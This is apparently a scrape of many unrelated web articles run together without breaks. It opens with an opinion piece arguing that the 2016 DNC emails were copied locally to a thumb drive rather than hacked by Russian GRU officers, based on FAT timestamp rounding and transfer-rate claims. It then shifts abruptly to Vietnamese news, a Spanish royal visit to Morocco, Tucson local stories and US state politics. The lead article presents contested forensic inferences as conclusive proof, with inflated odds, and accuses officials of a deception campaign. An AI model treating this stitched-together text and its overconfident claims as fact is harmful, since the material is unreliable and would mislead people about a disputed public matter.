We believe that Special Counsel Robert Mueller faces major embarrassment if he decides to pursue the indictment he filed--which accuses 12 Russian GRU military personnel and an entity identified as, Guccifer 2.0, for the DNC hackbecause the available forensic evidence indicates the emails were copied onto a storage device.

According to a DOJ press release on the indictment of the Russians, Mueller declares that the emails were obtained via a spearphising attack:

In 2016, officials in Unit 26165 began spearphishing volunteers and employees of the presidential campaign of Hillary Clinton, including the campaigns chairman. Through that process, officials in this unit were able to steal the usernames and passwords for numerous individuals and use those credentials to steal email content and hack into other computers. They also were able to hackinto the computer networks of the Democratic Congressional Campaign Committee (DCCC) and the Democratic National Committee (DNC) through these spearphishing techniques to steal emails and documents,covertly monitor the computer activity of dozens of employees, and implant hundreds of files of malicious computer code to steal passwords and maintain access to these networks.

The officials in Unit 26165 coordinated with officials in Unit 74455 to plan the release of the stolen documents for the purpose of interfering with the 2016 presidential election. Defendants registered the domain DCLeaks.com and later staged the release of thousands of stolen emails and documents through that website. On the website, defendants claimed to be American hacktivists and used Facebook accounts with fictitious names and Twitter accounts to promote the website. After public accusations that the Russian government was behind the hacking of DNC and DCCC computers, defendants created the fictitious persona Guccifer 2.0. On the evening of June 15, 2016 between 4:19PM and 4:56PM, defendants used their Moscow-based server to search for a series of English words and phrases that later appeared in Guccifer 2.0s first blog post falsely claiming to be a lone Romanian hacker responsible for the hacks in the hopes of undermining the allegations of Russian involvement.(https://www.justice.gov/opa/pr/grand-jury-indicts-12-russian-intelligence-officers-hacking-offenses-related-2016-election)

Notwithstanding the DOJ press release, an examination of the Wikileaks DNC files do not support the claim that the emails were obtained via spearphising. Instead, the evidence clearly shows that the emails posted on the Wikileaks site were copied onto an electronic media, such as a CD-ROM or thumbdrive before they were posted at Wikileaks. The emails posted on Wikileaks were saved using the File Allocation Table (aka FAT) computer file system architecture.

An examination of the Wikileaks DNC files shows they were created on 23, 25 and 26 May respectively. The fact that they appear in a FAT system format indicates the data was transfered to a storage device, such as a thumb drive.

How do we know? The truth lies in the last modified time stamps on the Wikileaks files. Every single one of these time stamps end in even numbers. If you are not familiar with the FAT file system, you need to understand that when a date is stored under this system the data rounds the time to the nearest even numbered second.

We have examined 500 DNC email files stored on Wikileaks and all 500 files end in an even number2, 4, 6, 8 or 0. If a system other than FAT had been used, there would have been an equal probability of the time stamp ending with an odd number. But that is not the case with the data stored on the Wikileaks site. All end with an even number.

The DNC emails are in 3 batches (times are GMT).

Date Count Min Time Max Time FAT Min Id Max Id

2016-05-23 10520 02:12:38 02:45:42 x 3800 14319

2016-05-25 11936 05:21:30 06:04:36 x 1 22456

2016-08-26 13357 14:11:36 20:06:04 x 22457 44053

The random probability that FAT was not used is 1 chance in 2 to the 500th power or approximately 1 chance in 10 to the 150th power - in other words, an infinitely high order.

This data alone does not prove that the emails were copied at the DNC headquarters. But it does show that the data/emails posted by Wikileaks did go through a storage device, like a thumbdrive, before Wikileaks posted the emails on the World Wide Web.

This fact alone is enough to raise reasonable doubts about Muellers indictment accusing 12 Russian soldiers as the culprits for the leak of the DNC emails to Wikileaks. A savvy defense attorney will argue, and rightly so, that someone copied the DNC files to a storage device (Eg., USB thumb drive) and transferred that to Wikileaks.

We also tested the hypothesis that Wikileaks could have manipulated the files to produce the FAT result by comparing the DNC email files with the Podesta emails (aka Larter file) that was released on 21 September 2016. The FAT file format is NOT present in the Podesta files. If Wikileaks employed a standard protocol for handling data/emails received from unknown sources we should expect the File structure of the DNC emails to match the file structure of the Podesta emails. The evidence shows otherwise.

There is further compelling technical evidence that undermines the claim that the DNC emails were downloaded over the internet as a result of a spearphising attack. Bill Binney, a former Technical Director of the National Security Agency, along with other former intelligence community experts, examined emails posted by Guccifer 2.0 and discovered that those emails could not have been downloaded over the internet as a result of a spearphising attack. It is a simple matter of mathematics and physics.

Shortly after Wikileaks announced it had the DNC emails, Guccifer 2.0 emerged on the public stage, claimimg that he hacked the DNC and that he had the DNC emails. Guccifer 2.0 began in late June 2016 to publish documents as proof that he had hacked from the DNC.

Taking Guccifer 2.0 at face valuei.e., that his documents were obtained via an internet attackBill Binney conducted a forensic examination of the metadata contained in the posted documents based on internet connection speeds in the United States. This analysis showed that the highest transfer rate was 49.1 megabytes per second, which is much faster than possible from a remote online connection. The 49.1 megabytes speed coincides with the download rate for a thumb drive.

Binney, assisted by other colleagues with technical expertise, extended the examination and ran various tests forensic from the Netherlands, Albania, Belgrade and the UK. The fastest rate obtained -- from a data center in New Jersey to a data center in the UK--was 12 megabytes per second, which is less than a fourth of the rate necessary to transfer the data, as it was listed from Guccifer 2.

The findings from the examination of the Guccifer 2.0 data and the Wikileaks data does not prove who copied the information to a thumbdrive, but it does provide and empirical alternative explanation that undermines the Special Counsels claim that the DNC was hacked. According to the forensic evidence for the Guccifer 2.0 data, the DNC emails were not taken by an internet spearphising attack. The data breach was local. It was copied from the network.

There is other circumstantial evidence that buttresses the conclusion that the data breach was a local effort that copied data.

First there is the Top Secret information leaked by Edward Snowden. If the DNC emails had been hacked via spearphising (as alleged by Mueller) then the data would have been captured by the NSA by means of the Upstream program (Fairview, Stormbrew, Blarney, Oakstar) and the forensic evidence would not modify times - the data would be presented as sent.

Second, we have the public reporting on the DNC and Crowdstrike, which provide a bizarre timeline for the alleged Russian hacking.

It was 29 April 2016, when the DNC claims it became aware its servers had been penetrated (see https://medium.com/homefront-rising/dumbstruck-how-crowdstrike-conned-america-on-the-hack-of-the-dnc-ecfa522ff44f). No claim yet about who was responsible.

According to CrowdStrike founder, Dimitri Alperovitch, his company first detected the Russians mucking around inside the DNC server on 6 May 2016. A CrowdStrike intelligence analyst reportedly told Alperovitch that:

Falcon had identified not one but two Russian intruders: Cozy Bear, a group CrowdStrike's experts believed was affiliated with the FSB, Russia's answer to the CIA; and Fancy Bear, which they had linked to the GRU, Russian military intelligence.

(https://www.esquire.com/news-politics/a49902/the-russian-emigre-leading-the-fight-to-protect-america/)

And what did CrowdStrike do about this? Nothing. According to Michael Isikoff, CrowdStrike claimed their inactivity was a deliberate plan to avoid alerting the Russians that they had been discovered. This is nonsense. If a security company detected a thief breaking into a house and stealing its contents, what sane company would counsel the client to do nothing in order to avoid alerting the thief?

We know from examining the Wikileaks data that the last message copied from the DNC network is dated Wed, 25 May 2016 08:48:35. No DNC emails were taken and released to Wikileaks after that date.

CrowdStrike waited until 10 June 2016 to take concrete steps to clean up the DNC network. Alperovitch told Esquires Vicky Ward that:

Ultimately, the teams decided it was necessary to replace the software on every computer at the DNC. Until the network was clean, secrecy was vital. On the afternoon of Friday, June 10, all DNC employees were instructed to leave their laptops in the office.

https://www.esquire.com/news-politics/a49902/the-russian-emigre-leading-the-fight-to-protect-america/

Why does a cyber security company wait 45 days after allegedly uncovering a massive Russian attack on the DNC server to take concrete steps to safeguard the integrity of the information held on the server? This makes no sense.

A more plausible explanation is that it was discovered that emails had been downloaded from the server and copied onto a device like a thumdrive. But the culprit had not yet been identified. We know one thing for certainCrowdStrike did not take steps to shutdown and repair the DNC network until 18 days after the last email was copied from the server.

The final curiosity is that the DNC never provided the FBI access to its servers in order for qualified FBI technicians to conduct a thorough forensic examination. If this had been a genuine internet hack, it would be very easy for the NSA to identify when the information was taken and the route it moved after being hacked from the server. The NSA had the technical collection systems in place to enable analysts to know the date and time of the messages. But that has not been done.

Taken together, these disparate data points combine to paint a picture that exonerates alleged Russian hackers and implicates persons within our law enforcement and intelligence community taking part in a campaign of misinformation, deceit and incompetence. It is not a pretty picture.Authorities in Ho Chi Minh City have recently approved a plan to organize a design contest for the makeover of a major park in its downtown area.

The municipal Peoples Committee has officially agreed to the organization of the competition, which requires participants to present their models of the new 23/9 Park in District 1.

The winning design will provide the basis for relevant agencies to prepare for and carry out the renovation of the venue.

The administration stated that the quality of the park has been degraded following a long time of operation, while such amenities as lighting systems, toilets, children's playgrounds, and sporting areas are also deteriorating, thus a revamp of the venue is necessary.

The plan for the design contest was first proposed by the municipal Department of Planning and Architecture in late 2018, at an estimated cost of VND2.19 billion (US$94,170).

Eligible participants are companies and units specializing in architectural design and planning, which have sufficient capacity and experience in the field.

One of the fundamental criteria for the designs is that the park has to consist of suitable arrangement of greenery, lakes, and public space, while all areas should be accessible to every citizen, including children, elderly people, and the disabled.

The park must also have a four-level underground facility reserved for parking and shopping centers.

The design should also take into account the streets and sidewalks surrounding the park.

Chairman of the municipal administration Nguyen Thanh Phong previously ordered the Department of Natural Resources and Environment to terminate all leasing contracts at the park prior to April 30 this year.

The 23/9 Park covers an area of approximately 10 hectares in the downtown area, surrounded by such streets as Pham Ngu Lao, Tran Hung Dao, Quach Thi Trang Square, Le Loi, and Nguyen Trai.

The venue was previously the old Saigon Railway Station.

The park lies at a prime location in terms of tourism as it is near the iconic Ben Thanh Market and Bui Vien Street, which is dubbed the citys backpacker area.

Following the planned revamp, the park will also become an important public transport hub as it will be connected with the under-construction metro line No. 1.

According to the citys urban plan, the height of all facilities within the park is not allowed to exceed four meters.

Like us on Facebook or follow us on Twitter to get the latest news about Vietnam!Read what is in the news today, February 13!

Society

-- Even though the December 31, 2019 deadline for rolling out electronic toll collection (ETC) on all transport ministry-managed toll roads in Vietnam is drawing near, the number of ETC lanes on these roads remains extremely limited as both developers and drivers have complained about shortcomings in the plans implementation.

-- Vietnamese Prime Minister Nguyen Xuan Phuc on Tuesday inspected the preparations for the 2019 United Nations (UN) Day of Vesak at the Tam Chuc Buddhist Cultural Centre in the northern province of Ha Nam, where the international event expecting over 10,000 participants will be held from May 12-14.

-- Vietnamese Deputy Prime Minister Vu Duc Dam on Tuesday commended 70 scholars involved in the countrys five major projects to compile the Encyclopedia of Vietnam, history and geography books, digitalizing the countrys knowledge, and translating classic Vietnamese literary works into foreign languages.

-- Deputy Prime Minister Trinh Dinh Dung has asked for the feasibility report on the Long Thanh International Airport project in the southern province of Dong Nai to be completed and submitted soon so that it can be considered by the lawmaking National Assembly in late 2019, ensuring that the projects construction can start in 2020 as scheduled.

Business

-- The Office of the Competition Council of Vietnam on Tuesday said it had returned case files on the high-profile acquisition of Uber by ride-hailing service Grab for further investigation and clarification on a number of technical points related to the takeover.

-- Vietnam is the most successful country in Southeast Asia in terms of mobilizing capital through securities offerings, PM Nguyen Xuan Phuc said on Tuesday as he performed the gong-hitting ritual to re-open the Hanoi Stock Exchange after the Tet holiday.

-- Four Vietnamese banks were named on Banking 500 2019, an annual report on the most valuable and strongest banking brands in the world compiled by UK-based Brand Finance, a leading independent branded business valuation and strategy consultancy, with Vietnam Prosperity Joint-Stock Commercial Bank (VPBank) being the first and only private Vietnamese bank to be named on the 2019 list.

Sports

-- Vietnams national mens and womens football teams are expected to bring home gold medals in the 30th Southeast Asian Games (SEA Games 30), which will take place in the Philippines later this year, said Minister of Culture, Sports, and Tourism Nguyen Ngoc Thien.

Like us on Facebook or follow us on Twitter to get the latest news about Vietnam!The northern Vietnamese province of Quang Ninh is seeking to build a 2.75-kilometer undersea tunnel on the doorstep of the coastal localitys famed Ha Long Bay, a UNESCO World Heritage Site.

The Quang Ninh administration has submitted the proposal to develop a submarine passage through Cua Luc Bay, located in the inner area of the provincial capital of Ha Long, to Vietnams Prime Minister Nguyen Xuan Phuc for approval.

The idea of building the Cua Luc undersea tunnel in Ha Long stemmed from the negative impacts the annual storm season leaves on the locality, Tran Van Hung, director of the provincial Department of Planning and Investment, told Tuoi Tre (Youth) newspaper on Monday.

Whenever a storm hits Quang Ninh, people are often not allowed to travel on Bai Chay Bridge, the only route for vehicles to travel between the two sides of the narrow Cua Luc Bay, for safety reasons, according to the departmental head.

As the suspended traffic would affect the lives of local residents, the Cua Luc underwater tunnel will help ensure traffic connectivity even in foul weather, he added.

The undersea tunnel is designed to stretch 2.75 kilometers, measuring 4.75 meters in height and 32.6 meters in width, according to the proposition.

It is expected to have six lanes with an allowed speed of 60kph and is capable of withstanding storms of level seven.

If approved, the Cua Luc tunnel will become the first undersea road tunnel in Vietnam.

Hung said construction is expected to begin this year and be complete by 2024, at a cost of VND9,700 billion (US$417.1 million) to be funded by the local budget.

The Quang Ninh administration hopes that the undersea tunnel will help ease pressure on the Bai Chay Bridge, and connect the tourist area to the west of Ha Long City with the municipal administrative area to the east.

Three consulting companies, namely Nippon Koei, FECON and Transport Engineering Design Inc., have presented their ideas on how the tunnel might be developed.

The firms suggested using either the tunnel boring machine or immersed tunneling method, widely employed by many countries for safety and effectiveness reasons.

The Cua Luc tunnel project was included in Quang Ninhs master plan for transport infrastructure by 2020 and considered a top priority for development, the official Vietnam News Agency quoted Vu Van Khanh, director of the provincial transport department, as saying.

Like us on Facebook or follow us on Twitter to get the latest news about Vietnam!The most common scene at any pagoda during the first lunar month in Vietnam, when people flock to pagodas to pray for luck and health, is thick layers of fog made of smoke from all the burning joss sticks.

As the pilgrimage season has started in the Southeast Asian country following the Lunar New Year (Tet) holiday that ended on Sunday, a Vietnamese academic raised an alarm on the habit of excessive burning of joss sticks and recommended solutions to what he said is a dangerous practice, in a recent interview with Tuoi Tre (Youth) newspaper.

As most of the joss sticks today get their fragrance from chemicals rather than natural ingredients, Tran Dinh Son, deputy director of the Vietnam Center for Buddhist Studies, has warned that people should change their practice of excessively burning incense as it can affect their health and pose fire risks.

Incense made of chemicals

As it is considered a medium to make a connection with spiritual beings, lighting incense is common both as a religious and spiritual practice in Vietnam.

For centuries, burning incense has been an irreplaceable part of praying both at home and at the place of worship among most Vietnamese.

But today, many people tend to burn a lot of incense, especially at pagodas, believing that the more the better.

It is not uncommon to see a family of a few members burning a whole pack of joss sticks in a stuffy pagoda.

The practice is harmful to human health as far as the materials to make incense are concerned, Son told Tuoi Tre.

Originally, incense was made of various aromatic plant materials, so it can release a smoky fragrance when lit.

This is why people in the past lit up incense not only for spiritual reasons but also for the atmosphere to be filled with good smell, bringing in a relaxing feeling, Son said.

But today, as the plant materials have become more expensive and rarer, the fragrance of incense is artificially recreated using toxic chemicals.

Such products are usually available at low prices, and are favored by those who love to light incense in huge quantities at pagodas.

Smoke released from the chemically scented incense is not good for human health, Son said.

As all visitors to pagodas where incense is lit en masse will be affected, this habit needs to be changed.

Tradition that cannot be removed

Years back, in places of worship, Vietnamese would burn incense sticks because they believed their scent would keep away evil spirits and calm people down mentally.

Over the years this has grown into a belief that without incense the act of worship is considered incomplete, Buddhist monk Thich Khong Nhien said.

Consequently, Son acknowledged that it is not easy to call for complete eradication of burning incense at pagodas.

But it is necessary that people change their habit of excessively burning incense, and incense makers get rid of or limit the use of chemicals in their production, Son underlined.

Echoing the view of the researcher, Thich Khong Nhien said authorities should supervise the use of chemicals in incense production to ensure health safety.

Religious institutions and pagodas should also do their share by limiting the use of incense at their places, Son added.

For instance, Ngoc Hoang Pagoda in District 1, Ho Chi Minh City has taken steps to prevent or limit the abuse of incense at the venue.

Do not burn big joss sticks or too many of them at a time. Only one incense stick per person, please, a sign at the pagoda reads.

The rules are embraced by many pagoda goers, including 47-year-old Tran Thi Thuy Duong.

The pagoda does not allow burning a lot of joss sticks, which I find reasonable, Duong said.

It makes the air less stuffy and minimize the risk of fire.

In conclusion, Son expressed his belief that when both the government and religious authorities cooperate in the drive, it is possible to make people lower their use of incense not only at pagodas but also at home.

Like us on Facebook or follow us on Twitter to get the latest news about Vietnam!A Vietnamese designer showcased his newest collection at the New York Fashion Week (NYFW), one of the Big Four fashion weeks in the world, on February 11 (EST), becoming the first haute couturier of his country to have such an honor.

Nguyen Cong Tri impressed the world with his fall/winter haute couture collection named Cuoc dao choi cua nhung vi sao, literally translated as "The walk of the stars," for which he worked with one of the most renowned stylists of New York.

The 15-minute show consisted of 42 ball gown dresses most suitable for red-carpet events, a common theme for many designers at NYFW.

Having cooperated with Kate Young, one of the ten most powerful stylists of Hollywood, the haute couture dresses designed by Tri all boast modern and trendy looks that many global celebrities are currently searching for.

For me, women are like shining stars in someone elses heart, the Vietnamese designer said of the source of inspiration for his newest collection.

I like women in ball gowns because they shine like stars on the red carpet.

Tri, chief designer of his brand CONG TRI, took advantage of the NYFW to introduce to the world a collection of traditional costumes with familiar styles such as mermaid dresses, tutus, and off-shoulder dresses.

Regarding the materials, Tri chose the most luxurious ones in America, complete with Vietnams high-quality traditional fabrics such as Lanh My A silk, one of the most distinct Vietnamese silk types.

Other materials commonly seen at Tris 2019 fall collection were organza, brocade, and satin silk.

Not only was the designer able to make costumes that suit the styles and preferences of world celebrities, but he also succeeded in introducing Lanh My A silk to the world high-fashion industry at the NYFW.

Victoria's Secret models are seen wearing pieces of Nguyen Cong Tri's fall/winter collection.

During Monday's show, many renowned models walked down the runway in sculptural 3D dresses typical of the 1980s, stunning the viewers with the dresses decorated with glittering and shiny embroidery.

Tri also used several draping techniques to create huge bow ties and other shapes on his dresses.

In an international fashion event where creativity is appreciated, Tris newest collection Cuoc dao choi cua nhung vi sao was not only a surprising showcase of Vietnams most renowned designer but also a turning point for himself as well as the Vietnamese fashion industry.

On the collection, Tri was honored to work with Kate Young.

Young is one of the most in-demand stylists in Hollywood and fashion who had experience working with Dior, Chanel, Valentino, and Victorias Secret.

With difficulties posed by time zone difference, there were cases where the designer, hailing from the central Vietnamese city of Da Nang, and his colleagues had to attend phone meetings at late hours and on many occasions to adjust the outfits in a very short time.

However, thanks to experience gained from working with many internationally renowned figures including Rihanna, Gwen Stefani, and Katy Perry over the years, Tris team was familiar with adjusting schedules even if it meant working outside of business hours.

New York Fashion Week is one of the four most important fashion weeks in the world, collectively known as the Big 4, which also includes Paris, London, and Milan.

The semi-annual series of events is held in February and September, when international fashion collections are shown to buyers, the press, and the general public.

Nguyen Cong Tri is a self-taught fashion designer and a respected name in the Vietnamese fashion industry, as well as the world.

In 2014 he became the first Vietnamese member of the Asian Couture Federation, and many celebrities have worn pieces of his collections.

Here are some of the most outstanding pieces of Tri's collection:

Like us on Facebook or follow us on Twitter to get the latest news about Vietnam!King Felipe VI of Spain and Queen Dona Letizia arrived this Wednesday in Rabat on a two-day official visit to Morocco at the invitation of King Mohammed VI.

The Spanish guests were welcomed at the airport by the Moroccan Sovereign, who was accompanied by Crown Prince Moulay El Hassan, Prince Moulay Rachid and princesses Lalla Khadija, Lalla Meryem, Lalla Asmae, Lalla Hasnaa and Lalla Oum Keltoum.

The royal procession then headed to the Mechouar of the Royal Palace in Rabat where an official welcome ceremony was held in honor of the Spanish Royals.

During this visit, King Felipe VIs second to Morocco after the one he paid to the neighboring Kingdom in 2014, the two Sovereigns will hold official talks and will preside over the signing of several agreements.

In the evening, King Mohammed VI will host a dinner banquet in honor of his guests and their accompanying delegation.

The visit that reflects the depth and quality of bilateral relations, and the shared desire to consolidate the multidimensional strategic partnership between the two neighboring and friendly countries, will undoubtedly give a new momentum to the longstanding relations of friendship uniting the two countries and the two peoples and consolidate further their ever growing economic ties.OPINION: "The fact that he kept this small black book for almost nine decades suggests he may have wanted us to learn more about him, even after he was gone," writes Amy Hirshberg Lederman.We hope you have enjoyed your complimentary access for the month.

To continue viewing content on tucson.com, please sign in with your existing account or subscribe.While National Guard troops sent to the border are withdrawing in other states, Arizona Gov. Doug Ducey says those here will remain.

Arizonas National Guard members continue to serve as a force multiplier along our border  surging more badges to the border in the face of continued threats from drug smugglers and human traffickers, Duceys spokeman Patrick Ptak said in an email. The governor appreciates their continued efforts to protect the safety and security of our communities.

The Arizona National Guard has about 600 soldiers and airmen serving in Operation Guardian Support. Thats in addition to about 650 active-duty troops also assisting Customs and Border Protection  down from the 1,500 originally deployed in the beginning of November.

On Monday, California Gov. Gavin Newsom, a Democrat, announced he was pulling back most of the states National Guard troops on the border.

This whole thing is the theater of the absurd and California has had enough, he said, according to The Associated Press.The district will continue to offer free morning and afternoon half-day kindergarten programs, next year, but it will no longer provide mid-day bus pickup or drop off services for those students. Families will be responsible for getting their kids to school if they attend the afternoon half day, and from school if they attend the morning half day.

The district has been exploring the possibility of a full-day kindergarten program for a while, Baker said.

The most compelling reason for expanding to full-day services is the testimony given by our primary-level teachers and our elementary school principals, he said.

Elementary school administrators and teachers very convincingly reported that attending kindergarten full day better prepares students for the academic and social skills students need to succeed in first grade and beyond, Baker added.

Vail could spend nearly $750,000 in staffing, maintenance and operational costs, but could save an estimated $125,000 in transportation costs, the proposal shows. The district will also likely lose $300,000 in community services revenue, since tuition-based Kindergarten Plus programs will cease to exist with the new full-day plan.Kelly was also a Naval aviator and flew combat missions in Iraq, but he became well-known to Americans as an astronaut who commanded space shuttle flights. Like McCain, who married into a prominent Arizona family, Kelly married a prominent Arizona woman  U.S. Rep. Gabrielle Giffords. That made Kelly even more famous, as he dealt with the aftermath of the assassination attempt on Giffords in 2011.

When the Stars Joe Ferguson and I interviewed Kelly on Tuesday, I asked about his relatively short residence in Arizona. His answer echoed one by McCain, who in 1982, responded to accusations of carpetbagging by saying that having grown up in a military family, hed moved all his life  and in fact the place hed lived longest was Hanoi.

Kelly, who grew up in New Jersey, said, When I left high school, I went to the U.S. Merchant Marine Academy. After that, when I graduated and started flight school, I moved to Florida. I was stationed there. Then I went to Texas, then the state of Washington and then Japan and then Maryland and then eventually stationed at NASA at the Johnson Space Center (near Houston).

Arizona is the first place in my life that I chose to live. We picked this place. Gabby loves Arizona.

He noted that his two daughters from his previous marriage, Claire and Claudia, also live in Arizona.Saying state and county prosecutors may balk, a House panel voted Tuesday to let anyone file suit to claim that public dollars are being used to influence elections.

The 5-4 vote by the House Elections Committee on HB 2026 came after arguments by Rep. John Kavanagh, R-Fountain Hills, that individual taxpayers need the right to step in to enforce the law.

He acknowledged that current law permits either the attorney general or county attorney to sue local governments or school districts that use public resources to urge people to vote for or against individuals or ballot measures. But Kavanagh said those officials worry about getting re-elected.

They dont stand up to their responsibilities and they take the cowardly way out by, for whatever reason, saying, I dont think this deserves being looked into (or) lacks merit, he said.

Rep. John Fillmore, R-Apache Junction, agreed, saying taxpayers should not have to rely on a county attorney or attorney general to enforce the laws.

There are perhaps elected officials which may run for cover and not want to get into it for various political reasons, he said.Reporter

Shaq is a public safety reporter and the Road Runner columnist, keeping readers up to date on transportation news. In 2017, he started as an apprentice and later worked part-time until graduating from the UA and being offered a full-time position in 2018.In 2017, Heraclio was arrested by Mexican authorities in Chihuahua, Mexico and extradited to the U.S. last August.

He is the sixth of seven men convicted in the case so far.

Ivan Soto-Barraza and Jesus Lionel Sanchez-Mesa were sentenced to life in prison in their first-degree murder convictions in 2015, the release said.

Rosario Rafael Burboa-Alvarez pled guilty to first-degree murder and received 27 years in prison.

Rito Osorio-Arellanes was given an eight-year sentence after a guilty plea of conspiracy to interfere with commerce by robbery. He was not at the shooting scene.

Jesus Favela-Astorga is the last person said to be involved in the incident. He will be extradited to the U.S and tried in Tucson.

Sentencing for Heraclio Osorio-Arellanes is set for April 29.

Brian Terrys family will never have its hero back, but his loved ones now have justice, said Robert Brewer, U.S. Attorney of the Southern District of California. The jurys verdict is the right outcome not only for the family, but for the men and women of the U.S. Border Patrol who daily put their lives at risk to protect this country.

Contact Star reporter Shaq Davis at 573-4218 or sdavis@tucson.com On Twitter: @ShaqDavis1

Sign up for our Crime & Courts newsletter Get the latest in local public safety news with this weekly email. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy.A Sheriff's department investigation into two kangaroos who went missing from their home on Tucson's far northwest side has yielded new information, authorities said.

A video released yesterday that was taken by a passerby as he was driving out of town showed what appeared to be a kangaroo bounding down the side of the road.

After talking to the animals' owner, a department spokesman confirmed today that the marsupial in question was actually a wallaroo- a smaller member of the kangaroo family.

Although it turns out that the video was taken last Wednesday, the owner was unaware that the wallaroos were missing from his 20-acre property until a few days ago, said Sheriff's department spokesman Deputy Tracy Suitt.

The man filming the video said that he called the Arizona Game and Fish Department to report the sighting the following morning.

After the Sheriff's department was notified of the wallaroos' disappearance Monday, an "attempt to locate," which is used to alert other deputies of a missing person, was issued.

The wallaroo caught on film, Boomer, still hasn't been found, Suitt said.

Bouncy, the second wallaroo, is believed to still be on the property, but the owner has been unable to locate her, as she likes to hide in the brush.

As long as the wallaroos aren't aggressive, it's legal for them to be kept as pets.

Boomer was last seen near the area of North Anway Road and West Avra Valley Road.

Anyone who spots a wallaroo on the loose is asked to call 911.PHOENIX  Saying magistrates can be squeezed politically, a House panel voted Wednesday to all but strip city councils of their ability to fire them.

The legislation would leave in place the practice of council members hiring people to preside over city courts. These courts normally handle minor criminal and traffic violations.

But it would prohibit removal without cause. Instead, these judges would have to stand for re-election every four years on a retain-or-reject system similar to what is used for the Supreme Court, Court of Appeals and superior court judges in the largest counties.

Rep. John Kavanagh, R-Fountain Hills, said that is preferable to judges having to worry they wont get a new appointment if they tick off a majority of the city council. There can be all sorts of petty reasons that three people can put together and then just say, We dont want this person any more, he said.

It happens, Kavanagh told members of the House Judiciary Committee. Not that much, but it happens.

But Kavanagh cited no examples of city judges not being rehired because of political or other reasons.The Economic Community of West African States (ECOWAS) has finalized its new Regional Master Plan for the Production and Transmission of Electric Power.

The plan, which was presented by Secretary General of the West African Power Pool (WAPP), Siengui Appollinaire Ki, aims to increase power access and coverage across the West African region.

The new plan is an update of the existing one, which aimed to run from 2012 to 2025. The proposed plan will run from 2019 to 2033 and will strengthen the operational framework around the WAPP to create a unified regional market for electricity.

Once finalized, WAPP aims to provide a cheaper and more stable access to electricity, which is currently among the most expensive worldwide at an average of 25c/KWh.

Both the African Development Bank and the World Bank, major financiers of the project, had reaffirmed their commitment to partner with WAPP to complete the project by 2019.

The phase of studies for the plans update were funded by the EU up to 1,6 million.

According to the Regional Market Rules, once the first phase of the Market begins, any new contract for the purchase and sale of energy among market participants must comply with the regulation in the Procedures for Access to the WAPP Transmission Services.The top federal law enforcement post in Arizona could be filled soon, more than two years since the last permanent appointment.

President Trump nominated Michael Bailey, the chief deputy at the Arizona Attorney Generals Office, to a four-year term as the next U.S. attorney for the District of Arizona. Baileys nomination will have to be confirmed by the U.S. Senate.

The Tuesday nomination came more than two years after John Leonardo, an appointee of President Obamas, stepped down days before Trumps inauguration on Jan. 20, 2017.

Arizona is one of the last of the 94 districts nationwide to see a nomination for U.S. attorney, Senate records show.

The U.S. attorney makes decisions on high-profile cases and new prosecution policies, on top of representing the federal government in civil litigation and coordinating multi-agency investigations.

Bailey was unavailable for an interview, but Arizona Attorney General Mark Brnovich told the Arizona Daily Star that Bailey is an outstanding choice.

Brnovich said Bailey had wide and deep experience, with years of prosecuting homicides and other violent crimes, as well as cases involving vulnerable people.The U.S. Navy plans to award a contract to Tucson-based Raytheon Missile Systems for development of a longer-range version of a precision-guided glide bomb for its F/A-18 Hornet and F-35C combat jets.

The Joint Standoff Weapon-Extended Range (JSOW-ER) adds a turbojet engine to more than quadruple the range of the unpowered JSOW C-1 to about 345 miles, essentially creating a short-range, air-launched cruise missile with the ability to hit moving ships.

The Navy plans to award Raytheon a sole-source contract to carry out so-called risk-reduction and engineering and manufacturing development of the JSOW-ER  typically the final stages before operational testing and production  for deployment of the weapon no later than fiscal 2023, according to a notice posted on the Federal Business Opportunities website.

The proposed contract requires Raytheon to extend the range of the existing JSOW C-1 while keeping the same targeting and performance capabilities, and to fit the JSOW-ER on the F/A-18 and for internal carriage on the F-35.

Last April, Raytheon announced that it had completed testing to fit the JSOW C-1 in the internal weapons bay of the F-35, an important capability to maintain the fighters radar-evading profile.When the weather becomes extreme it takes a heavy toll on agriculture. Imagine a farmer who is trying to plant crops to feed his family and make a living. If drought strikes and the farmer is unable to grow the food, it sets off a disastrous chain of events.

The farmer will have to sell their assets just to survive. But this also means no future planting. The farmer will have to withdraw his children from school to search for food. The family may be forced to flee and become refugees. With the lack of food comes malnutrition and poor health. No community or nation can survive under these conditions.

The impact of climate change and hunger can tip a nation over the edge into chaos. Drought played a role in the onset of Syrias civil war.

The Sahel region of Africa is one of the hardest hit areas from climate change. As President Obama said in 2015, climate change increases the risk of instability and conflictsevere drought helped to create the instability in Nigeria that was exploited by the terrorist group Boko Haram.

The International Committee of the Red Cross says The effects of climate change are exacerbating conflict between communities in both Mali and Niger, leading to a deepening of poverty, a weakening of public services and a disruption to traditional means of survival.At that point, the agents decided to activate their lights and siren and stop Garcias vehicle at the corner of North First Street East and East Monroe Avenue in Riverton  about one block from his residence, LeBrun said.

He said the decision was made because the agents were concerned that Garcia had weapons and ammunition at his residence, and because of the advantage Garcia would have at his home if a confrontation took place there.

When the agents activated their lights and siren, LeBrun said, Garcia rolled his vehicle to a stop and immediately got out of the truck holding a black 9 millimeter firearm.

(He) aimed his weapon at the agents and began firing, (moving) towards the agents as he fired, LeBrun wrote.

He characterized the move as an attempt to kill the two federal agents, who had the right, under Wyoming law, to defend their own lives and each others lives using deadly force.

The agents retrieved their weapons and returned fire, LeBrun said, and Garcia moved to the front of his truck, gun still in hand, seeking a better tactical position.PIERRE, S.D.  State representatives overwhelmingly advanced legislation Monday to legalize industrial hemp in South Dakota, just days after Republican Gov. Kristi Noem asked lawmakers to shelve the efforts this session.

The 65-2 House vote came after Noem said in a statement Friday that South Dakota isn't ready for the production of industrial hemp, contending questions remain about enforcement, taxpayer costs and effects on public safety. But House Majority Leader Lee Qualm urged support and said it's time to move forward with hemp.

Qualm said after the vote that he had a "good dialogue" with Noem on Sunday evening about the bill. The Republican from Platte said he would support overriding a potential veto from Noem but didn't think it would come to that.

"She's got some legitimate concerns," Qualm said. "I think it's something that we can address and get fixed."

The 2018 federal farm bill legalized the cultivation of industrial hemp, but Noem's office has noted the crop isn't currently authorized for growth in South Dakota and discouraged farmers from making plans to produce it during the 2019 growing season.

"We need to see federal guidelines when they are issued and then decide if this commodity is as promising as they say it will be," Noem said in the statement.Buffalo has once again been selected as the best site for a new nursing home for veterans, according to Casper City Manager Carter Napier.

The Wyoming Legislature is trying to find the best location in the state to build a nursing home for veterans that will be partially funded by the federal department of Veteran Affairs. In recent weeks, lawmakers have gone back and forth between Casper and Buffalo as the choice.

